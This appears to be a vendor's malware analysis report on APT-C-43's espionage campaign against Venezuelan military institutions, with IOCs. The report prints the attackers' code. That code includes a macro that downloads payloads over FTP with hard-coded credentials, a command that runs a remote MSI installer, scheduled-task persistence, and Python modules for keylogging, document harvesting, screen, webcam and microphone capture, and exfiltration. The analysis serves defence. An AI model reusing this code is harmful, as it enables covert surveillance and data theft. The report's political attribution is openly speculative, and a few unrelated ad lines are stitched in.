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APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign

Sep 25, 2020 kate

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In June 2020, 360 Security Center discovered a new backdoor Pyark written in Python by the fileless attack protection function. Through in-depth excavation and trace analysis of the backdoor, we discovered a series of advanced threat actions that have been active since 2019. By invading various military institutions in Venezuela, the attackers deployed backdoor to continuously monitor and steal the latest military secrets. We named it APT-C-43 based on 360's way of naming the APT organization

When tracing the attacker's source, we found that the duration of this attack coincided with the Venezuelan political chaos, and the network assets used by the attackers were mostly deployed in Colombia, and some assets were frequently found in Venezuela and Colombia. After the United Venezuelan coup, the reactionary government headed by Juan Gerardo Guaidó Márquez fled to Colombia to seek military assistance. We guess the political background of APT-C -43's campaign may be to help the reactionaries led by Juan steal military secrets of the Venezuelan military and provide intelligence support for the confrontation between the reactionary government and the current Venezuelan government. Therefore, we named this series of attacks HpReact.

In the process of tracing the source, the campaign was linked to the APT group Machete, and Machete can be traced back to 2010. The organization is an APT organization with Spanish roots. Its targets are military, embassies and government agencies in Latin America. the Lord. Obviously, the HpReact campaign is only a small part of the organization's cyber warfare in Latin America.

The picture below shows the decoy document used by APT-C-43 in this campaign. The content of the document is a policy issued by the Venezuelan authorities to prevent deserters from going to Colombia to support the reactionary government. More about this policy. For details, please refer to **Appendix 1**. It can be seen that the attackers have a good understanding of Venezuela's current politics, military, etc., and are good at using such sensitive files to make decoy documents, which are highly targeted and inductive.

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REPUBLICA BOLIVARIANA DE VENEZUELA
MINISTERIO DEL PODER POPULAR PARA LA DEFENSA
EJERCITO BOLIVARIANO
JEFATURA DEL ESTADO MAYOR GENERAL
DIA 10/08/19
FORMA DE MENSAJE CONJUNTO
ESPACIO PARA USO DEL CENTRO DE TRANSMISIONES
REFUSADO

CLASIFICACION DE SEGURIDAD												
ZONA DE TIEMPO N° 11 10/08/19 NO CLASIFICADO DE: JEMGEB PARA: EJEA OR: BT.												
PRECEDENCIA	TIPO DE MENSAJE	SÍMBOLO DE CONTABILIDAD	REFERENCIA	CLASIFICACIÓN DE LA REFERENCIA								
ACCION URGENTE	INDIV MULTI SIMP	JEMGEB	RADIOGRAMA N° 000708 DE FECHA 08/08/14	NOCLAS								
INFORMACIÓN	X											
DE: 2DO. CMOTE Y JEMG DEL EJERCITO BOLIVARIANO		FUERTE TIJUANA, D.C.										
PARA: DISTRIBUCIÓN EJA		FUERTE TIJUANA, D.C.										
NOCLAS N° 52-100-00000/												
<p>PACOFI, RECUERDLE RADIOGRAMA CITADO EN REFERENCIA QUE TEXTUALMENTE DICE: "CUMPLIENDO INSTRUCCIONES DEL CIUDADANO MAYOR GENERAL COMANDANTE GENERAL DEL EJERCITO BOLIVARIANO, RECUERDLE A LOS COMANDANTES DE LOS GRANDES COMANDOS DE UNIDADES SUPERIORES UNIDADES TÁCTICAS Y JEFES DE DEPENDENCIAS EN TODOS LOS NIVELES DE LA ORGANIZACIÓN LA OBLIGATORIEDAD DE VISITAR AL PERSONAL MILITAR ADSCRITO A SUS UNIDADES QUE SE ENCUENTREN RECLUIDOS EN LOS CENTROS NACIONALES DE PROCESADOS MILITARES Y/O EN CUALQUIER OTRO CENTRO DE RECLUSIÓN DE LA JURISDICCIÓN ORDINARIA, CON LA FINALIDAD DE MANTENER CONTACTO DIRECTO CON LOS MISMOS Y ASÍ DESPLEGAR ACCIONES DE COMANDO OPORTUNAS A CUALQUIER PROBLEMÁTICA QUE PRESENTEN.</p> <p>ES OPORTUNO RECORDARLE EL DEBER QUE TIENE TODO FUNCIONARIO PÚBLICO DE PREVENIR LAS VIOLACIONES DE DERECHOS HUMANOS DE CONFORMIDAD A LO ESTABLECIDO EN LA CONSTITUCIÓN DE LA REPÚBLICA BOLIVARIANA DE VENEZUELA QUE TEXTUALMENTE ESTABLECE: ARTÍCULO 19 "EL ESTADO GARANTIZA A TODA PERSONA, CONFORME AL PRINCIPIO DE PROGRESIVIDAD Y SIN DISCRIMINACIÓN ALGUNA, EL GOCE Y EJERCICIO IRRENUNCIABLE, INDIVISIBLE E INTERDEPENDIENTE DE LOS DERECHOS HUMANOS SU RESPETO Y GARANTÍA SON OBLIGATORIOS PARA LOS ÓRGANOS DEL PODER PÚBLICO DE CONFORMIDAD CON ESTA CONSTITUCIÓN, CON LOS TRATADOS SOBRE DERECHOS HUMANOS SUSCRITOS Y RATIFICADOS POR LA REPÚBLICA".</p>												
INSTRUCCIONES ESPECIALES:												
INCLUIR EN EL LEGAJO DE NORMAS DE LAS UNIDADES Y DEPENDENCIAS, DIFUNDIR INFORMACIÓN A LOS ESCALONES SUBORDINADOS Y LEER EN REUNIÓN DE PROFESIONALES.												
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140 million gamers should be cautious that Steam game gives CryptoMining Trojan




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Trojan raging, 360 Total Security powerful killing

Technical Details

The APT-C-43 organization is good at launching attacks using phishing emails, and deploys the backdoor program Pyark (Machete) written in python after invading the victim's machine. The network communication mainly relies on FTP and HTTP protocols. After successfully infiltrating the target machine, APT-C-43 organization monitors the target users, steal sensitive data, etc. The complete process of infecting the target machine is as follows:



The infection process

The decoy document carries malicious macrocode. Download the next stage of malicious component NisSrv.bat through FTP protocol, and we can see many variables named after Spanish vocabulary in the code, such as servidor (server), Usuario (user name), Contraseña (password), etc.:

```

Sub WinA64()
Dim servidor As String, Usuario As String, Contraseña As String, folder As String, file As String, file2 As String, filename As String
servidor = "files.000webhost.com"
Usuario = "x3543sd"
Contraseña = "DxKNT4MLA8gij"
'-----
local_file = "C:\ProgramData"
folder = "/public_html"
filename1 = local_file & "\NisSrv.bat"
rfile1 = "file.jpg"
filename2 = local_file & "\Service.lnk"
rfile2 = "file2.jpg"
'-----
file_dest = Environ("APPDATA") & "\Microsoft\Windows\Start Menu\Programs\Startup\Windows Defender.lnk"
hOpen = InternetOpen("scUserAgent", INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
hConnection = InternetConnect(hOpen, servidor, INTERNET_INVALID_PORT_NUMBER, Usuario, Contraseña, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0)
bRet = FtpSetCurrentDirectory(hConnection, folder)
If bRet = False Then
Else
    bRet = FtpGetFile(hConnection, rfile1, filename1, False, FILE_ATTRIBUTE_ARCHIVE, 0, 1)
    bRet = FtpGetFile(hConnection, rfile2, filename2, False, FILE_ATTRIBUTE_ARCHIVE, 0, 1)
    If filename1 <> 0 Then
        If filename2 <> 0 Then
            FileCopy Ruta & filename2, file_dest
            Kill (filename2)
        End If
    End If
End If
Contador = ActiveDocument.Shapes.Count
Nombre = ActiveDocument.Shapes(2).Name
ActiveDocument.Shapes(Nombre).Select
Selection.ShapeRange.Delete
End
End Sub

```

NisSrv.bat downloads malicious components:



```


1 ECHO OFF
2 cmd /C start /B msieexec /q /i http://www.op-icaro.site/setupXOX.msi
3 exit
4

```

The file of “*setupXOX.msi*” is a Windows Installer installation program made by MSI Wrapper to deploy the final backdoor components. When we studied the historical samples of the Machete organization, we found that the organization’s technology for deploying backdoor has undergone an important change, with a clear time division. Through the following timeline, we can clearly see that the organization is constantly changing and innovating its own Attack technique:

- ✧ 2014-2017: NSIS-packed file
- ✧ 2018-2019: 7z Self-extracting file
- ✧ 2019-2020: Microsoft Windows Installer


Many fields in the installation program are forged into Acrobat Reader installation program, and the interface after running is related to Acrobat Reader:



After the program runs, the Fpyark backdoor components will be released to the %ProgramData%\USOEnable directory. The backdoor of Fpyark is writing by python. During the running process, python is required to execute the environment and various dependent

libraries required by the script, which also caused the size of setupXOX.msi to reach 8.10M.

After installation, the entire directory structure is as follows:



After deploying the above backdoor components, run svchostt.exe according to the msiwpper configuration file:

```
[MSI Wrapper]
1 WrappedApplicationId={3383CBC8-1854-48BD-A09a-E74057D46AFD}|{7259BDDA-D888-309D-ADE1-84AA0CB24FE9}|{AC76BA86-7AD7-1034-7B44-A92000000001}
2 InstallSuccessCodes=0
3 ElevationMode=never
4 SetupFileName=C:\Users\[REDACTED]\AppData\Local\Temp\5W-63a90993-a034-4ad6-9f37-81946adf39e0\files\svchostt.exe
5 SetupParameters=msiexec.exe /i "setup.msi" /quiet WRAPPED_ARGUMENTS="/S"
6 WorkingDir=
7 CurrentDir=%FILESDIR%
8 UILevel=5
9 Focus=yes
10 FileDir=C:\Users\[REDACTED]\AppData\Local\Temp\5W-63a90993-a034-4ad6-9f37-81946adf39e0\files\
11 RunBeforeInstallFile=svchostt.exe
12 RunBeforeInstallParameters=/i "setup.msi" /quiet WRAPPED_ARGUMENTS="/S"
13 RunAfterInstallFile=svchostt.exe
14 RunAfterInstallParameters=
```

The file of "setupXOX.msi" is a virus releaser written in Microsoft Visual Basic language, which releases NisSrv.bat registered scheduled tasks to realize self-starting and staying. The program has the following vbp compilation path:

@*\AC:\Users\MITM\Desktop\malware\3_svchostt\Proyecto1.vbp

The relevant code is as follows:

```
v70 = _vbaStrCat(L"\NisSrv.bat", v80);
v68 = 8;
v21 = rtcbin(&v68, 0);
v22 = _vbaStrMove(&v79, v21);
v23 = !(vbastrcmp(Edword_401A18, v22) == 0);
_vbaFreeStrList(2, &v80, &v79);
_vbaFreeObj(&v73);
_vbaFreeVar(&v68);
if ( (WORD)v23 )
{
    v66 = (int *)L"SCHTASKS /Create /TN WindowsDefender /SC MINUTE /mo 05 /TR 'C:\ProgramData\USOEnable\Smnss.exe"
          "'C:\ProgramData\USOEnable\lib\site-packages\pyark\UpdateSession'";
    v64 = 8;
    _vbaVarCopy(&v81, &v64);
```

Backdoor module

UpdateSession is the main control module of the backdoor. Its functions include self-starting of the backdoor, collection of network configuration, keystroke records, and schedule other modules to execute by means of timers:

```
245 if __name__ == '__main__':
246     Link()      #copy lnk to startup folder for Persistence
247     SisInfo()   #system network config discovery with "ipconfig /all"
248     Archivos()  #run "UpdateService"
249     try:
250         timer = Manager()
251         timer.add_operation(Envio, 300) #segundos
252     except Exception as e:           #run "UpdateDevice"
253         print e
254         KB = hyts()      #keylogger
255         hm = pyHook.HookManager()
256         hm.KeyDown = KB.onKeyboardEvent
257         hm.HookKeyboard()
258         pythoncom.PumpMessages()
```

UpdateService traverses the disk directory and collects more than ten kinds of sensitive files with suffixes such as doc, xlsx, and pdf in other directories, except for some system directories and security software directories.

```

for ptr in gk:
    def find_oldest_file(dirname=ptr):
        global vv6, af
        for dirpath, dirs, files in os.walk(dirname):
            if ptr + "Program Files" in dirpath:
                pass
            elif ptr + "Program Files (x86)" in dirpath:
                pass
            elif ptr + "ProgramData" in dirpath:
                pass
            elif ptr + "Windows" in dirpath:
                pass
            elif ptr + "WINDOWS" in dirpath:
                pass
            elif ptr + "AppData" in dirpath:
                pass
            elif ptr + "Python27" in dirpath:
                pass
            elif ptr + "USOEnable" in dirpath:
                pass
            elif ptr + "All Users" in dirpath:
                pass
            elif ptr + "PerfLogs" in dirpath:
                pass
            elif ptr + "Intel" in dirpath:
                pass
            elif ptr + "Kaspersky" in dirpath:
                pass
            elif ptr + "usb_driver" in dirpath:
                pass
            elif ptr + "$GetCurrent" in dirpath:
                pass
            for filename in files:
                file_path = os.path.join(dirpath, filename)
                try:
                    (shortname, vv6) = os.path.splitext(filename)
                except:
                    pass
                if vv6 == ".doc":
                    af() # copy file to HDD folder
                elif vv6 == ".docx":
                    af()
                elif vv6 == ".xlsx":
                    af()
                elif vv6 == ".xls":
                    af()
                elif vv6 == ".ppt":
                    af()
                elif vv6 == ".pptx":
                    af()
                elif vv6 == ".pdf":
                    af()
                elif vv6 == ".pkr":
                    af()
                elif vv6 == ".skr":
                    af()
                elif vv6 == ".asc":
                    af()
                elif vv6 == ".pgp":
                    af()
                elif vv6 == ".txt":
                    af()
            except:
                pass

```

UpdateDevice takes screenshot

```

try:
    if act[3] == 'Screen = si' or act[3] == 'Screen = Si' or act[3] == 'Si':
        from time import strftime
        nombre = 'Screen-' + str(strftime('%d-%m-%Y-%H-%M-%S')) + '.jpeg'
        sh = ImageGrab.grab()
        sh.save(Encryp + '/' + nombre)
except Exception as e:
    print e

```

Capture camera screen:

```

try:
    if act[2] == 'Cam = si' or act[2] == 'Cam = Si' or act[2] == 'Si':
        camera = VideoCapture.Device()
        camera.setResolution(640, 480)
        from time import strftime
        file_name = 'web' + str(strftime('%d-%m-%Y-%H-%M-%S')) + '.jpg'
        camera.saveSnapshot(Encryp + '\\\\' + file_name)
except Exception as e:
    print e

```

UpdatePlugin takes audio from the microphone:

```
try:
    chunk = 1024
    FORMAT = pyaudio.paInt16
    CHANNELS = 1
    RATE = 44100
    RECORD_SECONDS = 90
    from time import strftime
    WAVE_OUTPUT_FILENAME = 'Au' + str(strftime('%d-%m-%Y-%H-%M-%S')) + '.wav'
    WAVE_OUTPUT_FILENAME1 = Encryp + '\\\\' + WAVE_OUTPUT_FILENAME
    p = pyaudio.PyAudio()
    try:
        stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=chunk)
        all = []
    except:
        pass

    try:
        for i in range(0, RATE / chunk * RECORD_SECONDS):
            data = stream.read(chunk)
            all.append(data)
    except:
        pass

    try:
        stream.close()
        p.terminate()
    except Exception as e:
        print e

except Exception as e:
    print e
```

Notification is responsible for uploading the sensitive data collected by the above modules to the FTP server:

```
try:
    for u in range(len(lst)):
        nom = lst[u]
        Nom,ext = os.path.splitext(nom)
        if ext == '.html':
            upfile = Encryp + '\\\\' + nom
            uploadfile(upfile, nom, 'KeyLog')
        elif ext == '.jpeg':
            upfile = Encryp + '\\\\' + nom
            uploadfile(upfile, nom, 'Screen')
        elif ext == '.htm':
            upfile = Encryp + '\\\\' + nom
            uploadfile(upfile, nom, 'Clipboard')
        elif ext == '.jpg':
            upfile = Encryp + '\\\\' + nom
            uploadfile(upfile, nom, 'WebCam')
        elif ext == '.mp3':
            upfile = Encryp + '\\\\' + nom
            uploadfile(upfile, nom, 'Audio')
        elif Nom == 'Sysinfo':
            upfile = Encryp + '\\\\' + nom
            uploadfile(upfile, nom, 'InfoSys')
        elif Nom == 'fox':
            upfile = Encryp + '\\\\' + nom
            uploadfile(upfile, nom, 'Browser')
        else:
            upfile = Encryp + '\\\\' + nom
            uploadfile(upfile, nom, 'Xfiles')
except Exception as e:
    print e
```

The interactive traffic characteristics are as follows:

```
220 BitNinja FTP CAPTCHA server
USER u361186564
331 Password required for u361186564.
PASS [REDACTED]
230 User u361186564 logged in from 220.181.171.89.
CWD /domains/op-icaro.site/public_html/DEMO/WIN-
250 CWD command succesful.
TYPE A
200 type set.
PASV
452 Can't open data connection.
MKD /domains/op-icaro.site/public_html/DEMO/WIN-
553 Requested action not taken.
CWD KeyLog
250 CWD command succesful.
TYPE I
200 type set.
PASV
452 Can't open data connection.
CWD Screen
250 CWD command succesful.
TYPE I
200 type set.
PASV
452 Can't open data connection.
CWD InfoSys
250 CWD command succesful.
```

When analyzing the uploaded FTP server, we found that APT-C-43 manages the uploaded sensitive files through Tiny File Manager:

```
<?php
//Default Configuration
$CONFIG = '{"lang":"es","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false}';

/**
 * H3K | Tiny File Manager V2.4.1
 * CCP Programmers | ccpprogrammers@gmail.com
 * https://tinyfilemanager.github.io
 */

//TFM version
define('VERSION', '2.4.1');

//Application Title
define('APP_TITLE', 'FUCKSociety');

// --- EDIT BELOW CONFIGURATION CAREFULLY ---

// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = true;

// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
    'Icaro' => '$2y$10$Hd00rLL01CuKEKHqoSHHAu51sys3r6KdonMp7IuSJW6krUvBHiSym'
);
```

Summary

The entire campaign of HpReact highly coincides with the timeline of Venezuelan political turmoil. APT-C-43 took Venezuelan military agencies as the main targets and carried out surveillance and stealing activities for about two years, forming a significant impact on Venezuela's national security. Great safety hazard. In recent years, with the intensification of cyber warfare in various countries, cyberspace security has become another important area for each country to maintain national security, and building a strong cybersecurity has become a top priority for each country.

At present, 360 Total Security has supported the detection of attacks on this organization.

Team Introduction

360 Baize Lab (formerly 360 FirstAid team): Focusing on BOOTKIT/ROOTKIT Trojan analysis and traceability, it was the first to discover the world's first UEFI Trojan Spy Shadow (UEFI木马谍影) , boot area Trojan Hidden Soul (引导区木马隐魂) , dual guns (双枪,) and multiple large-scale dark brush botnets, such as black fog and diaster. Now it is renamed 360 Baize Lab based on the original business, it is involved in APT testing and research. The laboratory provides core safety data for 360 Security Guards, 360 FirstAid team and other

products, as well as stubborn Trojan detection and killing solutions, while providing 360 Security Center Technical Support.

Appendix 1

<https://www.totalnewsagency.com/internacionales/ante-la-alarmante-desercion-el-ministro-de-defensa-de-venezuela-ordeno-convencer-a-los-soldados-de-regresar-como-sea>

Appendix 2

[https\[:\]//securelist.com/el-machete/66108](https://securelist.com/el-machete/66108)

[https\[:\]//www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf](https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf)

Appendix 3

MD5:

fbe5b66db57fb52b231c5374ac2ac805

6b33fa0c52ca413d4214dcde007f89c1

f85489c1d1ff3374f92ccb7267032016


IP:

92.249.44.53

185.70.105.33

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